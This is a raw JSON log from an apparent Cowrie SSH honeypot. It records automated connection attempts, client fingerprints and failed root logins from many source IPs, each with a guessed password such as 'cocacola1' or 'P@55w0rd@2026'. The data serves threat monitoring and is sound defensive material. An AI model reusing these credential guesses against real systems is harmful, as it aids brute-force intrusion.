{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":41342,"dst_ip":"10.17.0.5","dst_port":22,"session":"7519867e3b93","protocol":"ssh","message":"New connection: 109.237.96.109:41342 (10.17.0.5:22) [session: 7519867e3b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:01.581363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:01.586854Z","src_ip":"109.237.96.109","session":"7519867e3b93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:01.740388Z","src_ip":"109.237.96.109","session":"7519867e3b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cocacola1","message":"login attempt [root/cocacola1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:02.079775Z","src_ip":"109.237.96.109","session":"7519867e3b93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":54632,"dst_ip":"10.17.0.5","dst_port":22,"session":"503974781547","protocol":"ssh","message":"New connection: 103.27.238.116:54632 (10.17.0.5:22) [session: 503974781547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:02.907424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:02.925049Z","src_ip":"103.27.238.116","session":"503974781547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:03.178768Z","src_ip":"109.237.96.109","session":"7519867e3b93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:03.183263Z","src_ip":"103.27.238.116","session":"503974781547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kittens","message":"login attempt [root/kittens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:03.945300Z","src_ip":"103.27.238.116","session":"503974781547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:05.200728Z","src_ip":"103.27.238.116","session":"503974781547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":50714,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fff6d4b34e7","protocol":"ssh","message":"New connection: 217.168.240.63:50714 (159.203.135.109:22) [session: 0fff6d4b34e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:10.306037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:10.310477Z","src_ip":"217.168.240.63","session":"0fff6d4b34e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:10.448249Z","src_ip":"217.168.240.63","session":"0fff6d4b34e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.866507053375244,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:10.937769Z","src_ip":"128.199.8.54","session":"afa4890f0471","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"share","password":"share@123","message":"login attempt [share/share@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:11.032296Z","src_ip":"217.168.240.63","session":"0fff6d4b34e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:12.177063Z","src_ip":"217.168.240.63","session":"0fff6d4b34e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45788,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf3e997e104a","protocol":"ssh","message":"New connection: 193.37.70.224:45788 (10.17.0.5:22) [session: cf3e997e104a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:26.976100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:26.980654Z","src_ip":"193.37.70.224","session":"cf3e997e104a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:27.073582Z","src_ip":"193.37.70.224","session":"cf3e997e104a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:27.370844Z","src_ip":"193.37.70.224","session":"cf3e997e104a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:28.468961Z","src_ip":"193.37.70.224","session":"cf3e997e104a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":42914,"dst_ip":"10.17.0.5","dst_port":22,"session":"6742da792751","protocol":"ssh","message":"New connection: 27.71.230.31:42914 (10.17.0.5:22) [session: 6742da792751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:46.905441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:47.254705Z","src_ip":"27.71.230.31","session":"6742da792751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:47.258844Z","src_ip":"27.71.230.31","session":"6742da792751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2015","message":"login attempt [root/admin@2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:50.997010Z","src_ip":"27.71.230.31","session":"6742da792751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:40:53.083929Z","src_ip":"27.71.230.31","session":"6742da792751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":38168,"dst_ip":"159.203.135.109","dst_port":22,"session":"0372f652375e","protocol":"ssh","message":"New connection: 178.20.210.208:38168 (159.203.135.109:22) [session: 0372f652375e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:04.144690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:04.163945Z","src_ip":"178.20.210.208","session":"0372f652375e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:04.278414Z","src_ip":"178.20.210.208","session":"0372f652375e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:04.683500Z","src_ip":"178.20.210.208","session":"0372f652375e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":55474,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c063395b7a6","protocol":"ssh","message":"New connection: 101.47.159.125:55474 (159.203.135.109:22) [session: 1c063395b7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:05.574564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:05.582852Z","src_ip":"101.47.159.125","session":"1c063395b7a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:05.789798Z","src_ip":"178.20.210.208","session":"0372f652375e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:05.822869Z","src_ip":"101.47.159.125","session":"1c063395b7a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678Abc","message":"login attempt [root/12345678Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:06.815744Z","src_ip":"101.47.159.125","session":"1c063395b7a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:08.062406Z","src_ip":"101.47.159.125","session":"1c063395b7a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":58232,"dst_ip":"159.203.135.109","dst_port":22,"session":"f80705c30bfa","protocol":"ssh","message":"New connection: 92.113.145.209:58232 (159.203.135.109:22) [session: f80705c30bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:17.350929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:17.355480Z","src_ip":"92.113.145.209","session":"f80705c30bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:17.466757Z","src_ip":"92.113.145.209","session":"f80705c30bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd@2026","message":"login attempt [root/P@55w0rd@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:17.934988Z","src_ip":"92.113.145.209","session":"f80705c30bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:19.053911Z","src_ip":"92.113.145.209","session":"f80705c30bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":54896,"dst_ip":"159.203.135.109","dst_port":22,"session":"621fed46aa0a","protocol":"ssh","message":"New connection: 217.168.240.63:54896 (159.203.135.109:22) [session: 621fed46aa0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:43.667100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:41:43.671443Z","src_ip":"217.168.240.63","session":"621fed46aa0a","protocol":"ssh"}
